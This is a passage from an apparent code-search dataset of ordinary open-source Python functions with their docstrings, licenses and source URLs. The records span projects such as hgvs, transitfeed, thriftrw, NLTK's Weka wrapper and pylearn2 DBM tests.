AvgofAvgs("agg_duration_fast")), "cpu_usage_average": FieldType( "CPU Usage: Average", AvgofAvgs("agg_cpu_usage_average") ), "cpu_usage_low": FieldType("CPU Usage: Low", AvgofAvgs("agg_cpu_usage_low")), "cpu_usage_high": FieldType("CPU Usage: High", AvgofAvgs("agg_cpu_usage_high")), "count": FieldType("Count", Sum(F("agg_count"))), "failures": FieldType("Failures", Sum("agg_failures")), "assertion_failures": FieldType( "Assertion Failures", Sum("agg_assertion_failures") ), "success_percentage": FieldType( "Success Percentage", AsInt( (AsFloat(Sum(F("agg_count"))) - Sum(F("agg_failures"))) / AsFloat(Sum(F("agg_count"))) * 100 ), ), "DML_failures": FieldType("DML Failures", Sum("agg_DML_failures")), "other_failures": FieldType("Other Failures", Sum("agg_other_failures")), } metric_choices = tuple((key, field.label) for key, field in metrics.items()) includable_fields = metric_choices + tuple( zip( BuildFlowFilterSet.build_fields.keys(), BuildFlowFilterSet.build_fields.keys(), ) ) include_fields = django_filters.rest_framework.MultipleChoiceFilter( label="Include (multi-select okay)", choices=includable_fields, method=dummy, initial=["repo", "duration_average"], ) ordering_fields = tuple((name, name) for (name, label) in includable_fields) ordering_fields += ("method_name", "method_name") o = django_filters.rest_framework.OrderingFilter(fields=ordering_fields) ordering_param_name = "o" class MetaCIApiException(exceptions.APIException): status_code = 400 default_detail = "Validation Error." default_code = 400 class TestMethodPerfListView(generics.ListAPIView, viewsets.ViewSet): serializer_class = SimpleDictSerializer filter_backends = (django_filters.rest_framework.DjangoFilterBackend,) filterset_class = TestMethodPerfFilterSet pagination_class = StandardResultsSetPagination ordering_param_name = filterset_class.ordering_param_name permission_classes = (permissions.AllowAny,) model_fields = set( field.name for field in TestResultPerfWeeklySummary._meta.get_fields() ) @property def orderby_field(self): return self.request.query_params.get(self.ordering_param_name) def _get_aggregation_fields(self): params = self.request.query_params aggregations = {} fields_to_include = params.getlist("include_fields") filters = self.filterset_class.get_filters() fields = self.filterset_class.metrics for param, value in params.items(): if value and ( filters.get(param) and filters[param].field_name and param != "method_name" and fields.get(filters[param].field_name) ): fields_to_include.append(filters[param].field_name) if fields_to_include == []: filters = self.filterset_class.get_filters() assert filters include_filter = filters["include_fields"] assert include_filter default_include_fields = include_filter.extra["initial"] assert default_include_fields fields_to_include.extend(default_include_fields) if self.orderby_field and self.orderby_field.strip("-") != "method_name": fields_to_include.append(self.orderby_field.strip("-")) for fieldname in fields_to_include: if fields.get(fieldname): aggregations[fieldname] = fields[fieldname].aggregation return aggregations def _get_splitter_fields(self): params = self.request.query_params output_fields = {} build_fields = BuildFlowFilterSet.build_fields group_by_fields = [] order_by_field = self.orderby_field if order_by_field and order_by_field in build_fields: group_by_fields.append(order_by_field) fields_to_include = params.getlist("include_fields") build_fields_in_include_fields = set(fields_to_include).intersection( set(build_fields.keys()) ) for fieldname in build_fields_in_include_fields: group_by_fields.append(fieldname) if group_by_fields: for param in group_by_fields: output_fields[param] = F(build_fields[param]) return output_fields def _check_params(self): params = self.request.query_params if params.get("recentdate") and ( params.get("daterange_after") or params.get("daterange_before") ): raise MetaCIApiException( detail="Specified both recentdate and daterange", code=400 )
BSD 3-Clause New or Revised License
biocommons/hgvs
hgvs/variantmapper.py
VariantMapper.__init__
python
def __init__(self, hdp, replace_reference=hgvs.global_config.mapping.replace_reference, prevalidation_level=hgvs.global_config.mapping.prevalidation_level, add_gene_symbol=hgvs.global_config.mapping.add_gene_symbol ): self.hdp = hdp self.replace_reference = replace_reference self.add_gene_symbol = add_gene_symbol if prevalidation_level is None: self.prevalidation_level = PrevalidationLevel.NONE else: self.prevalidation_level = PrevalidationLevel[prevalidation_level.upper()] if self.prevalidation_level == PrevalidationLevel.NONE: self._validator = None elif self.prevalidation_level == PrevalidationLevel.INTRINSIC: self._validator = hgvs.validator.IntrinsicValidator(strict=False) else: self._validator = hgvs.validator.Validator(self.hdp, strict=False) self.left_normalizer = hgvs.normalizer.Normalizer(hdp, shuffle_direction=5, variantmapper=self)
:param bool replace_reference: replace reference (entails additional network access) :param str prevalidation_level: None or Intrinsic or Extrinsic validation before mapping
https://github.com/biocommons/hgvs/blob/18d8dc9754e4d4ac0d5d018b6231e34899452b03/hgvs/variantmapper.py#L71-L95
from __future__ import absolute_import, division, print_function, unicode_literals import copy import logging from bioutils.sequences import reverse_complement import hgvs import hgvs.location import hgvs.normalizer import hgvs.posedit import hgvs.edit import hgvs.alignmentmapper import hgvs.utils.altseq_to_hgvsp as altseq_to_hgvsp import hgvs.utils.altseqbuilder as altseqbuilder import hgvs.sequencevariant import hgvs.validator from hgvs.exceptions import HGVSDataNotAvailableError, HGVSUnsupportedOperationError, HGVSInvalidVariantError from hgvs.decorators.lru_cache import lru_cache from hgvs.enums import PrevalidationLevel from hgvs.utils.reftranscriptdata import RefTranscriptData _logger = logging.getLogger(__name__) class VariantMapper(object):
Apache License 2.0
cohesity/management-sdk-python
cohesity_management_sdk/models/no_sql_backup_job_params.py
NoSqlBackupJobParams.__init__
python
def __init__(self, bandwidth_bytes_per_second=None, cassandra_backup_job_params=None, compaction_job_interval_secs=None, concurrency=None, couchbase_backup_job_params=None, gc_job_interval_secs=None, gc_retention_period_days=None, hbase_backup_job_params=None, hdfs_backup_job_params=None, hive_backup_job_params=None, last_compaction_run_time_usecs=None, last_gc_run_time_usecs=None, mongodb_backup_job_params=None, previous_protected_entity_ids_vec=None): self.bandwidth_bytes_per_second = bandwidth_bytes_per_second self.cassandra_backup_job_params = cassandra_backup_job_params self.compaction_job_interval_secs = compaction_job_interval_secs self.concurrency = concurrency self.couchbase_backup_job_params = couchbase_backup_job_params self.gc_job_interval_secs = gc_job_interval_secs self.gc_retention_period_days = gc_retention_period_days self.hbase_backup_job_params = hbase_backup_job_params self.hdfs_backup_job_params = hdfs_backup_job_params self.hive_backup_job_params = hive_backup_job_params self.last_compaction_run_time_usecs = last_compaction_run_time_usecs self.last_gc_run_time_usecs = last_gc_run_time_usecs self.mongodb_backup_job_params = mongodb_backup_job_params self.previous_protected_entity_ids_vec = previous_protected_entity_ids_vec
Constructor for the NoSqlBackupJobParams class
https://github.com/cohesity/management-sdk-python/blob/1c085d5a10f5f1a87b700e7ad1fc1dcabda41ae5/cohesity_management_sdk/models/no_sql_backup_job_params.py#L66-L97
import cohesity_management_sdk.models.cassandra_backup_job_params import cohesity_management_sdk.models.couchbase_backup_job_params import cohesity_management_sdk.models.h_base_backup_job_params import cohesity_management_sdk.models.hdfs_backup_job_params import cohesity_management_sdk.models.hive_backup_job_params import cohesity_management_sdk.models.mongoDB_backup_job_params class NoSqlBackupJobParams(object): _names = { "bandwidth_bytes_per_second":'bandwidthBytesPerSecond', "cassandra_backup_job_params":'cassandraBackupJobParams', "compaction_job_interval_secs":'compactionJobIntervalSecs', "concurrency":'concurrency', "couchbase_backup_job_params":'couchbaseBackupJobParams', "gc_job_interval_secs":'gcJobIntervalSecs', "gc_retention_period_days":'gcRetentionPeriodDays', "hbase_backup_job_params":'hbaseBackupJobParams', "hdfs_backup_job_params":'hdfsBackupJobParams', "hive_backup_job_params":'hiveBackupJobParams', "last_compaction_run_time_usecs":'lastCompactionRunTimeUsecs', "last_gc_run_time_usecs":'lastGcRunTimeUsecs', "mongodb_backup_job_params":'mongodbBackupJobParams', "previous_protected_entity_ids_vec":'previousProtectedEntityIdsVec' }
Apache License 2.0
google/transitfeed
kmlwriter.py
KMLWriter._CreateStopPlacemark
python
def _CreateStopPlacemark(self, stop_folder, stop, style_id): desc_items = [] desc_items.append("Stop id: %s" % stop.stop_id) if stop.stop_desc: desc_items.append(stop.stop_desc) if stop.stop_url: desc_items.append('Stop info page: <a href="%s">%s</a>' % ( stop.stop_url, stop.stop_url)) description = '<br/>'.join(desc_items) or None placemark = self._CreatePlacemark(stop_folder, stop.stop_name, description=description, style_id=style_id) point = ET.SubElement(placemark, 'Point') coordinates = ET.SubElement(point, 'coordinates') coordinates.text = '%.6f,%.6f' % (stop.stop_lon, stop.stop_lat)
Creates a new stop <Placemark/> element. Args: stop_folder: the KML folder the placemark will be added to. stop: the actual Stop to create a placemark for. style_id: optional argument indicating a style id to add to the placemark.
https://github.com/google/transitfeed/blob/d727e97cb66ac2ca2d699a382ea1d449ee26c2a1/kmlwriter.py#L415-L436
from __future__ import print_function try: import xml.etree.ElementTree as ET except ImportError as e: import elementtree.ElementTree as ET import extensions.googletransit as googletransit import optparse import os.path import sys import transitfeed from transitfeed import util class KMLWriter(object): def __init__(self): self.show_trips = False self.show_stop_hierarchy = False self.split_routes = False self.shape_points = False self.altitude_per_sec = 0.0 self.date_filter = None def _SetIndentation(self, elem, level=0): i = "\n" + level*" " if len(elem): if not elem.text or not elem.text.strip(): elem.text = i + " " for elem in elem: self._SetIndentation(elem, level+1) if not elem.tail or not elem.tail.strip(): elem.tail = i else: if level and (not elem.tail or not elem.tail.strip()): elem.tail = i def _CreateFolder(self, parent, name, visible=True, description=None): folder = ET.SubElement(parent, 'Folder') name_tag = ET.SubElement(folder, 'name') name_tag.text = name if description is not None: desc_tag = ET.SubElement(folder, 'description') desc_tag.text = description if not visible: visibility = ET.SubElement(folder, 'visibility') visibility.text = '0' return folder def _CreateStyleForRoute(self, doc, route): style_id = 'route_%s' % route.route_id style = ET.SubElement(doc, 'Style', {'id': style_id}) linestyle = ET.SubElement(style, 'LineStyle') width = ET.SubElement(linestyle, 'width') type_to_width = {0: '3', 1: '3', 2: '5', 3: '1'} width.text = type_to_width.get(route.route_type, '1') if route.route_color: color = ET.SubElement(linestyle, 'color') red = route.route_color[0:2].lower() green = route.route_color[2:4].lower() blue = route.route_color[4:6].lower() color.text = 'ff%s%s%s' % (blue, green, red) return style_id def _CreatePlacemark(self, parent, name, style_id=None, visible=True, description=None): placemark = ET.SubElement(parent, 'Placemark') placemark_name = ET.SubElement(placemark, 'name') placemark_name.text = name if description is not None: desc_tag = ET.SubElement(placemark, 'description') desc_tag.text = description if style_id is not None: styleurl = ET.SubElement(placemark, 'styleUrl') styleurl.text = '#%s' % style_id if not visible: visibility = ET.SubElement(placemark, 'visibility') visibility.text = '0' return placemark def _CreateLineString(self, parent, coordinate_list): if not coordinate_list: return None linestring = ET.SubElement(parent, 'LineString') tessellate = ET.SubElement(linestring, 'tessellate') tessellate.text = '1' if len(coordinate_list[0]) == 3: altitude_mode = ET.SubElement(linestring, 'altitudeMode') altitude_mode.text = 'absolute' coordinates = ET.SubElement(linestring, 'coordinates') if len(coordinate_list[0]) == 3: coordinate_str_list = ['%f,%f,%f' % t for t in coordinate_list] else: coordinate_str_list = ['%f,%f' % t for t in coordinate_list] coordinates.text = ' '.join(coordinate_str_list) return linestring def _CreateLineStringForShape(self, parent, shape): coordinate_list = [(longitude, latitude) for (latitude, longitude, distance) in shape.points] return self._CreateLineString(parent, coordinate_list) def _CreateStopsFolder(self, schedule, doc): if not schedule.GetStopList(): return None stop_folder = self._CreateFolder(doc, 'Stops') stop_folder_selection = self._StopFolderSelectionMethod(stop_folder) stop_style_selection = self._StopStyleSelectionMethod(doc) stops = list(schedule.GetStopList()) stops.sort(key=lambda x: x.stop_name) for stop in stops: (folder, pathway_folder) = stop_folder_selection(stop) (style_id, pathway_style_id) = stop_style_selection(stop) self._CreateStopPlacemark(folder, stop, style_id) if (self.show_stop_hierarchy and stop.location_type != transitfeed.Stop.LOCATION_TYPE_STATION and stop.parent_station and stop.parent_station in schedule.stops): placemark = self._CreatePlacemark( pathway_folder, stop.stop_name, pathway_style_id) parent_station = schedule.stops[stop.parent_station] coordinates = [(stop.stop_lon, stop.stop_lat), (parent_station.stop_lon, parent_station.stop_lat)] self._CreateLineString(placemark, coordinates) return stop_folder def _StopFolderSelectionMethod(self, stop_folder): if not self.show_stop_hierarchy: return lambda stop: (stop_folder, None) station_folder = self._CreateFolder(stop_folder, 'Stations') platform_folder = self._CreateFolder(stop_folder, 'Platforms') platform_connections = self._CreateFolder(platform_folder, 'Connections') entrance_folder = self._CreateFolder(stop_folder, 'Entrances') entrance_connections = self._CreateFolder(entrance_folder, 'Connections') standalone_folder = self._CreateFolder(stop_folder, 'Stand-Alone') def FolderSelectionMethod(stop): if stop.location_type == transitfeed.Stop.LOCATION_TYPE_STATION: return (station_folder, None) elif stop.location_type == googletransit.Stop.LOCATION_TYPE_ENTRANCE: return (entrance_folder, entrance_connections) elif stop.parent_station: return (platform_folder, platform_connections) return (standalone_folder, None) return FolderSelectionMethod def _StopStyleSelectionMethod(self, doc): if not self.show_stop_hierarchy: return lambda stop: (None, None) self._CreateStyle( doc, 'stop_entrance', {'IconStyle': {'color': 'ff0000ff'}}) self._CreateStyle( doc, 'entrance_connection', {'LineStyle': {'color': 'ff0000ff', 'width': '2'}}) self._CreateStyle( doc, 'stop_platform', {'IconStyle': {'color': 'ffff0000'}}) self._CreateStyle( doc, 'platform_connection', {'LineStyle': {'color': 'ffff0000', 'width': '2'}}) self._CreateStyle( doc, 'stop_standalone', {'IconStyle': {'color': 'ff00ff00'}}) def StyleSelectionMethod(stop): if stop.location_type == transitfeed.Stop.LOCATION_TYPE_STATION: return ('stop_station', None) elif stop.location_type == googletransit.Stop.LOCATION_TYPE_ENTRANCE: return ('stop_entrance', 'entrance_connection') elif stop.parent_station: return ('stop_platform', 'platform_connection') return ('stop_standalone', None) return StyleSelectionMethod def _CreateStyle(self, doc, style_id, style_dict): def CreateElements(current_element, current_dict): for (key, value) in current_dict.iteritems(): element = ET.SubElement(current_element, key) if isinstance(value,dict): CreateElements(element, value) else: element.text = value style = ET.SubElement(doc, 'Style', {'id': style_id}) CreateElements(style, style_dict) return style
Apache License 2.0
thriftrw/thriftrw-python
thriftrw/idl/parser.py
ParserSpec.p_const_map
python
def p_const_map(self, p): p[0] = ast.ConstMap(dict(p[2]), p.lineno(1))
const_map : '{' const_map_seq '}'
https://github.com/thriftrw/thriftrw-python/blob/22f6ab645f5af48cae2fee0dc1431dfacb971348/thriftrw/idl/parser.py#L149-L151
from __future__ import absolute_import, unicode_literals, print_function from collections import deque from ply import yacc from . import ast from .lexer import Lexer from ..errors import ThriftParserError __all__ = ['Parser'] class ParserSpec(object): tokens = Lexer.tokens def p_error(self, p): if p is None: raise ThriftParserError('Grammer error at EOF') raise ThriftParserError( 'Grammar error %r at line %d' % (p.value, p.lineno) ) def p_start(self, p): p[0] = ast.Program(headers=p[1], definitions=p[2]) def p_header(self, p): self._parse_seq(p) def p_header_unit_(self, p): p[0] = p[1] def p_header_unit(self, p): p[0] = p[1] def p_include(self, p): if len(p) == 4: p[0] = ast.Include(name=p[2], path=p[3], lineno=p.lineno(1)) else: p[0] = ast.Include(name=None, path=p[2], lineno=p.lineno(1)) def p_namespace(self, p): p[0] = ast.Namespace(scope=p[2], name=p[3], lineno=p.lineno(1)) def p_namespace_scope(self, p): p[0] = p[1] def p_sep(self, p): def p_definition(self, p): self._parse_seq(p) def p_definition_unit_(self, p): p[0] = p[1] def p_definition_unit(self, p): p[0] = p[1] def p_const_bool(self, p): p[0] = p[1] == 'true' def p_const(self, p): p[0] = ast.Const( name=p[3], value_type=p[2], value=p[5], lineno=p.lineno(3), ) def p_const_value(self, p): p[0] = p[1] def p_const_value_native(self, p): p[0] = p[1] def p_const_value_primitive(self, p): p[0] = ast.ConstPrimitiveValue(p[1], lineno=p.lineno(1)) def p_const_list(self, p): p[0] = ast.ConstList(list(p[2]), p.lineno(1)) def p_const_list_seq(self, p): self._parse_seq(p)
MIT License
levlaz/braindump
app/api_v1/notebooks.py
Notebook.delete
python
def delete(self, notebook_id): db.session.delete(self.get_notebook(notebook_id)) db.session.commit() return {'notebook': 'deleted'}
Delete single notebook. Args: notebook_id (int, required): The id of the Notebook Returns: "deleted" if succeesful
https://github.com/levlaz/braindump/blob/9640dd03f99851dbd34dd6cac98a747a4a591b01/app/api_v1/notebooks.py#L90-L101
from flask import g from flask_restful import reqparse from app import db from app.models import Notebook as NewNotebook from app.api_v1.base import ProtectedBase class NotebookList(ProtectedBase): parser = reqparse.RequestParser() def get(self): return {'notebooks': list(map( lambda notebook: notebook.to_json(), g.user.notebooks.all()))} def post(self): self.parser.add_argument( 'title', required=True, type=str, help='Missing Title of the Notebook') args = self.parser.parse_args() notebook = NewNotebook( title=args['title'], author_id=g.user.id, ) db.session.add(notebook) db.session.commit() return {'notebook': notebook.to_json()}, 201 class Notebook(ProtectedBase): parser = reqparse.RequestParser() @staticmethod def get_notebook(notebook_id): return g.user.notebooks.filter_by( id=notebook_id).first_or_404() def get(self, notebook_id): return {'notebook': self.get_notebook(notebook_id).to_json()} def put(self, notebook_id): self.parser.add_argument( 'title', type=str, help="Title of the Notebook") self.parser.add_argument( 'is_deleted', type=bool, help="True if notebook is deleted") args = self.parser.parse_args() notebook = self.get_notebook(notebook_id) for arg in args: if args[str(arg)] is not None: setattr(notebook, arg, args[str(arg)]) db.session.add(notebook) db.session.commit() return {'notebook': notebook.to_json()}
MIT License
xiaozhuchacha/openbottle
action_earley_srv/scripts/nltk/classify/weka.py
ARFF_Formatter.from_train
python
def from_train(tokens): labels = set(label for (tok, label) in tokens) features = {} for tok, label in tokens: for (fname, fval) in tok.items(): if issubclass(type(fval), bool): ftype = '{True, False}' elif issubclass(type(fval), (compat.integer_types, float, bool)): ftype = 'NUMERIC' elif issubclass(type(fval), compat.string_types): ftype = 'STRING' elif fval is None: continue else: raise ValueError('Unsupported value type %r' % ftype) if features.get(fname, ftype) != ftype: raise ValueError('Inconsistent type for %s' % fname) features[fname] = ftype features = sorted(features.items()) return ARFF_Formatter(labels, features)
Constructs an ARFF_Formatter instance with class labels and feature types determined from the given data. Handles boolean, numeric and string (note: not nominal) types.
https://github.com/xiaozhuchacha/openbottle/blob/1a73998bb508eb506ff0917e54cd2c01667add65/action_earley_srv/scripts/nltk/classify/weka.py#L253-L282
from __future__ import print_function import time import tempfile import os import subprocess import re import zipfile from sys import stdin from nltk import compat from nltk.probability import DictionaryProbDist from nltk.internals import java, config_java from nltk.classify.api import ClassifierI _weka_classpath = None _weka_search = ['.', '/usr/share/weka', '/usr/local/share/weka', '/usr/lib/weka', '/usr/local/lib/weka',] def config_weka(classpath=None): global _weka_classpath config_java() if classpath is not None: _weka_classpath = classpath if _weka_classpath is None: searchpath = _weka_search if 'WEKAHOME' in os.environ: searchpath.insert(0, os.environ['WEKAHOME']) for path in searchpath: if os.path.exists(os.path.join(path, 'weka.jar')): _weka_classpath = os.path.join(path, 'weka.jar') version = _check_weka_version(_weka_classpath) if version: print(('[Found Weka: %s (version %s)]' % (_weka_classpath, version))) else: print('[Found Weka: %s]' % _weka_classpath) _check_weka_version(_weka_classpath) if _weka_classpath is None: raise LookupError('Unable to find weka.jar! Use config_weka() ' 'or set the WEKAHOME environment variable. ' 'For more information about Weka, please see ' 'http://www.cs.waikato.ac.nz/ml/weka/') def _check_weka_version(jar): try: zf = zipfile.ZipFile(jar) except (SystemExit, KeyboardInterrupt): raise except: return None try: try: return zf.read('weka/core/version.txt') except KeyError: return None finally: zf.close() class WekaClassifier(ClassifierI): def __init__(self, formatter, model_filename): self._formatter = formatter self._model = model_filename def prob_classify_many(self, featuresets): return self._classify_many(featuresets, ['-p', '0', '-distribution']) def classify_many(self, featuresets): return self._classify_many(featuresets, ['-p', '0']) def _classify_many(self, featuresets, options): config_weka() temp_dir = tempfile.mkdtemp() try: test_filename = os.path.join(temp_dir, 'test.arff') self._formatter.write(test_filename, featuresets) cmd = ['weka.classifiers.bayes.NaiveBayes', '-l', self._model, '-T', test_filename] + options (stdout, stderr) = java(cmd, classpath=_weka_classpath, stdout=subprocess.PIPE, stderr=subprocess.PIPE) if stderr and not stdout: if 'Illegal options: -distribution' in stderr: raise ValueError('The installed version of weka does ' 'not support probability distribution ' 'output.') else: raise ValueError('Weka failed to generate output:\n%s' % stderr) return self.parse_weka_output(stdout.decode(stdin.encoding).split('\n')) finally: for f in os.listdir(temp_dir): os.remove(os.path.join(temp_dir, f)) os.rmdir(temp_dir) def parse_weka_distribution(self, s): probs = [float(v) for v in re.split('[*,]+', s) if v.strip()] probs = dict(zip(self._formatter.labels(), probs)) return DictionaryProbDist(probs) def parse_weka_output(self, lines): for i,line in enumerate(lines): if line.strip().startswith("inst#"): lines = lines[i:] break if lines[0].split() == ['inst#', 'actual', 'predicted', 'error', 'prediction']: return [line.split()[2].split(':')[1] for line in lines[1:] if line.strip()] elif lines[0].split() == ['inst#', 'actual', 'predicted', 'error', 'distribution']: return [self.parse_weka_distribution(line.split()[-1]) for line in lines[1:] if line.strip()] elif re.match(r'^0 \w+ [01]\.[0-9]* \?\s*$', lines[0]): return [line.split()[1] for line in lines if line.strip()] else: for line in lines[:10]: print(line) raise ValueError('Unhandled output format -- your version ' 'of weka may not be supported.\n' ' Header: %s' % lines[0]) _CLASSIFIER_CLASS = { 'naivebayes': 'weka.classifiers.bayes.NaiveBayes', 'C4.5': 'weka.classifiers.trees.J48', 'log_regression': 'weka.classifiers.functions.Logistic', 'svm': 'weka.classifiers.functions.SMO', 'kstar': 'weka.classifiers.lazy.KStar', 'ripper': 'weka.classifiers.rules.JRip', } @classmethod def train(cls, model_filename, featuresets, classifier='naivebayes', options=[], quiet=True): config_weka() formatter = ARFF_Formatter.from_train(featuresets) temp_dir = tempfile.mkdtemp() try: train_filename = os.path.join(temp_dir, 'train.arff') formatter.write(train_filename, featuresets) if classifier in cls._CLASSIFIER_CLASS: javaclass = cls._CLASSIFIER_CLASS[classifier] elif classifier in cls._CLASSIFIER_CLASS.values(): javaclass = classifier else: raise ValueError('Unknown classifier %s' % classifier) cmd = [javaclass, '-d', model_filename, '-t', train_filename] cmd += list(options) if quiet: stdout = subprocess.PIPE else: stdout = None java(cmd, classpath=_weka_classpath, stdout=stdout) return WekaClassifier(formatter, model_filename) finally: for f in os.listdir(temp_dir): os.remove(os.path.join(temp_dir, f)) os.rmdir(temp_dir) class ARFF_Formatter: def __init__(self, labels, features): self._labels = labels self._features = features def format(self, tokens): return self.header_section() + self.data_section(tokens) def labels(self): return list(self._labels) def write(self, outfile, tokens): if not hasattr(outfile, 'write'): outfile = open(outfile, 'w') outfile.write(self.format(tokens)) outfile.close() @staticmethod
MIT License
chaffelson/whoville
whoville/cloudbreak/models/images_response.py
ImagesResponse.base_images
python
def base_images(self, base_images): self._base_images = base_images
Sets the base_images of this ImagesResponse. :param base_images: The base_images of this ImagesResponse. :type: list[BaseImageResponse]
https://github.com/chaffelson/whoville/blob/f71fda629c9fd50d0a482120165ea5abcc754522/whoville/cloudbreak/models/images_response.py#L77-L85
from pprint import pformat from six import iteritems import re class ImagesResponse(object): """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'base_images': 'list[BaseImageResponse]', 'hdp_images': 'list[ImageResponse]', 'hdf_images': 'list[ImageResponse]', 'supported_versions': 'list[str]' } attribute_map = { 'base_images': 'baseImages', 'hdp_images': 'hdpImages', 'hdf_images': 'hdfImages', 'supported_versions': 'supportedVersions' } def __init__(self, base_images=None, hdp_images=None, hdf_images=None, supported_versions=None): self._base_images = None self._hdp_images = None self._hdf_images = None self._supported_versions = None if base_images is not None: self.base_images = base_images if hdp_images is not None: self.hdp_images = hdp_images if hdf_images is not None: self.hdf_images = hdf_images if supported_versions is not None: self.supported_versions = supported_versions @property def base_images(self): return self._base_images @base_images.setter
Apache License 2.0
lisa-lab/pylearn2
pylearn2/models/tests/test_dbm.py
check_bvmp_samples
python
def check_bvmp_samples(value, num_samples, n, pool_size, mean, tol): pv, hv = value assert n % pool_size == 0 num_pools = n // pool_size assert pv.ndim == 2 assert pv.shape[0] == num_samples assert pv.shape[1] == num_pools assert hv.ndim == 2 assert hv.shape[0] == num_samples assert hv.shape[1] == n assert is_binary(pv) assert is_binary(hv) for i in xrange(num_pools): sub_p = pv[:,i] assert sub_p.shape == (num_samples,) sub_h = hv[:,i*pool_size:(i+1)*pool_size] assert sub_h.shape == (num_samples, pool_size) if not np.all(sub_p == sub_h.max(axis=1)): for j in xrange(num_samples): print(sub_p[j], sub_h[j,:]) assert sub_p[j] == sub_h[j,:] assert False assert np.max(sub_h.sum(axis=1)) == 1 p, h = mean assert p.ndim == 1 assert h.ndim == 1 emp_p = pv.mean(axis=0) emp_h = hv.mean(axis=0) max_diff = np.abs(p - emp_p).max() if max_diff > tol: print('expected value of pooling units: ',p) print('empirical expectation: ',emp_p) print('maximum difference: ',max_diff) raise ValueError("Pooling unit samples have an unlikely mean.") max_diff = np.abs(h - emp_h).max() if max_diff > tol: assert False
bvmp=BinaryVectorMaxPool value: a tuple giving (pooled batch, detector batch) (all made with same params) num_samples: number of samples there should be in the batch n: detector layer dimension pool_size: size of each pool region mean: (expected value of pool unit, expected value of detector units) tol: amount the emprical mean is allowed to deviate from the analytical expectation checks that: 1) all values are binary 2) detector layer units are mutually exclusive 3) pooled unit is max of the detector units 4) correct number of samples is present 5) variables are of the right shapes 6) samples converge to the right expected value
https://github.com/lisa-lab/pylearn2/blob/af81e5c362f0df4df85c3e54e23b2adeec026055/pylearn2/models/tests/test_dbm.py#L356-L417
from __future__ import print_function from pylearn2.models.dbm.dbm import DBM from pylearn2.models.dbm.layer import BinaryVector, BinaryVectorMaxPool, Softmax, GaussianVisLayer __authors__ = "Ian Goodfellow" __copyright__ = "Copyright 2012, Universite de Montreal" __credits__ = ["Ian Goodfellow", "Devon Hjelm"] __license__ = "3-clause BSD" __maintainer__ = "LISA Lab" import numpy as np import random assert hasattr(np, 'exp') from theano.compat.six.moves import xrange from theano import config from theano import function from theano.sandbox.rng_mrg import MRG_RandomStreams from theano import tensor as T from pylearn2.expr.basic import is_binary from pylearn2.expr.nnet import inverse_sigmoid_numpy from pylearn2.costs.dbm import VariationalCD import pylearn2.testing.datasets as datasets from pylearn2.space import VectorSpace from pylearn2.utils import sharedX from pylearn2.utils import safe_zip from pylearn2.utils.data_specs import DataSpecsMapping class DummyLayer(object): def downward_state(self, state): return state def downward_message(self, state): return state class DummyDBM(object): def __init__(self, rng): self.rng = rng class TestBinaryVector: def setUp(self): pass @staticmethod def check_samples(value, expected_shape, expected_mean, tol): assert value.shape == expected_shape assert is_binary(value) mean = value.mean(axis=0) max_error = np.abs(mean-expected_mean).max() print('Actual mean:') print(mean) print('Expected mean:') print(expected_mean) print('Maximal error:', max_error) if max_error > tol: raise ValueError("Samples don't seem to have the right mean.") def test_make_state(self): n = 5 num_samples = 1000 tol = .04 layer = BinaryVector(nvis = n) rng = np.random.RandomState([2012,11,1]) mean = rng.uniform(1e-6, 1. - 1e-6, (n,)) z = inverse_sigmoid_numpy(mean) layer.set_biases(z.astype(config.floatX)) init_state = layer.make_state(num_examples=num_samples, numpy_rng=rng) value = init_state.get_value() TestBinaryVector.check_samples(value, (num_samples, n), mean, tol) def test_sample(self): assert hasattr(np, 'exp') n = 5 num_samples = 1000 tol = .04 vis = BinaryVector(nvis=n) hid = DummyLayer() rng = np.random.RandomState([2012,11,1,259]) mean = rng.uniform(1e-6, 1. - 1e-6, (n,)) ofs = rng.randn(n) vis.set_biases(ofs.astype(config.floatX)) z = inverse_sigmoid_numpy(mean) - ofs z_var = sharedX(np.zeros((num_samples, n)) + z) theano_rng = MRG_RandomStreams(2012+11+1) sample = vis.sample(state_above=z_var, layer_above=hid, theano_rng=theano_rng) sample = sample.eval() TestBinaryVector.check_samples(sample, (num_samples, n), mean, tol) def check_gaussian_samples(value, nsamples, nvis, rows, cols, channels, expected_mean, tol): if nvis: expected_shape = (nsamples, nvis) else: expected_shape = (nsamples,rows,cols,channels) assert value.shape == expected_shape assert not is_binary(value) mean = value.mean(axis=0) max_error = np.abs(mean-expected_mean).max() print('Actual mean:') print(mean) print('Expected mean:') print(expected_mean) print('Maximal error:', max_error) print('Tolerable variance:', tol) if max_error > tol: raise ValueError("Samples don't seem to have the right mean.") else: print('Mean is within expected range') def test_gaussian_vis_layer_make_state(): n = 5 rows = None cols = None channels = None num_samples = 1000 tol = .042 beta = 1/tol layer = GaussianVisLayer(nvis = n, init_beta=beta) rng = np.random.RandomState([2012,11,1]) mean = rng.uniform(1e-6, 1. - 1e-6, (n,)) z= mean layer.set_biases(z.astype(config.floatX)) init_state = layer.make_state(num_examples=num_samples, numpy_rng=rng) value = init_state.get_value() check_gaussian_samples(value, num_samples, n, rows, cols, channels, mean, tol) def test_gaussian_vis_layer_make_state_conv(): n = None rows = 3 cols = 3 channels = 3 num_samples = 1000 tol = .042 beta = 1/tol axes = ['b', 0, 1, 'c'] random.shuffle(axes) axes = tuple(axes) print('axes:', axes) layer = GaussianVisLayer(rows=rows, cols=cols, channels=channels, init_beta=beta, axes=axes) rng = np.random.RandomState() mean = rng.uniform(1e-6, 1. - 1e-6, (rows, cols, channels)) z= mean layer.set_biases(z.astype(config.floatX)) init_state = layer.make_state(num_examples=num_samples, numpy_rng=rng) value = init_state.get_value() check_gaussian_samples(value, num_samples, n, rows, cols, channels, mean, tol) def test_gaussian_vis_layer_sample(): assert hasattr(np, 'exp') n = 5 num_samples = 1000 tol = .042 beta = 1/tol rows = None cols = None channels = None class DummyLayer(object): def downward_state(self, state): return state def downward_message(self, state): return state vis = GaussianVisLayer(nvis=n, init_beta=beta) hid = DummyLayer() rng = np.random.RandomState([2012,11,1,259]) mean = rng.uniform(1e-6, 1. - 1e-6, (n,)) ofs = rng.randn(n) vis.set_biases(ofs.astype(config.floatX)) z=mean -ofs z_var = sharedX(np.zeros((num_samples, n)) + z) theano_rng = MRG_RandomStreams(2012+11+1) sample = vis.sample(state_above=z_var, layer_above=hid, theano_rng=theano_rng) sample = sample.eval() check_gaussian_samples(sample, num_samples, n, rows, cols, channels, mean, tol) def test_gaussian_vis_layer_sample_conv(): assert hasattr(np, 'exp') n = None num_samples = 